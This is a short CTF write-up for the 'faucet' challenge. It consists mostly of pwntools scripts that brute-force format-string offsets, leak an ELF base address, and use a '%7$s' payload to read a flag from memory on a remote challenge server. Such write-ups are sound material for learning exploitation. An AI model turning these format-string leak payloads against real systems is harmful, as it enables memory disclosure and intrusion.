faucet
faucet is a fairly simple format strings challenge that consists on leaking a variable containing the flag
Last updated
faucet is a fairly simple format strings challenge that consists on leaking a variable containing the flag
Last updated
#!/usr/bin/env python
from pwn import *
# Defitions
e = context.binary = ELF('./faucet',checksec=False)
context.log_level = 'critical'
for i in range(100):
io = process(e.path)
io.sendlineafter('> ','5')
io.sendlineafter(': ','%' + str(i) + '$p')
io.recvuntil('You have bought a ')
print(str(i) + ': ' + io.recvline())
io.close()#!/usr/bin/env python
from pwn import *
# Defitions
e = context.binary = ELF('./faucet',checksec=False)
def leak_elf():
leak = int(io.recvline().split('You have bought a ')[1],16)
return leak - 0x1725
if args.REMOTE:
io = remote('challenge.ctf.games',32147)
else:
io = process(e.path)
io.sendlineafter('> ','5')
io.sendlineafter(': ','%13$p')
elfbase = leak_elf()
flag_addr = elfbase + 0x4060
print('[+]Flag address: ' + hex(flag_addr))#!/usr/bin/env python
from pwn import *
# Defitions
e = context.binary = ELF('./faucet',checksec=False)
def leak_elf():
leak = int(io.recvline().split('You have bought a ')[1],16)
return leak - 0x1725
if args.REMOTE:
io = remote('challenge.ctf.games',32147)
else:
io = process(e.path)
io.sendlineafter('> ','5')
io.sendlineafter(': ','%13$p')
elfbase = leak_elf()
flag_addr = elfbase + 0x4060
print('[+]Flag address: ' + hex(flag_addr))
io.sendlineafter('> ','5')
io.sendlineafter(': ','%x %7$s ' + p64(flag_addr))
io.interactive()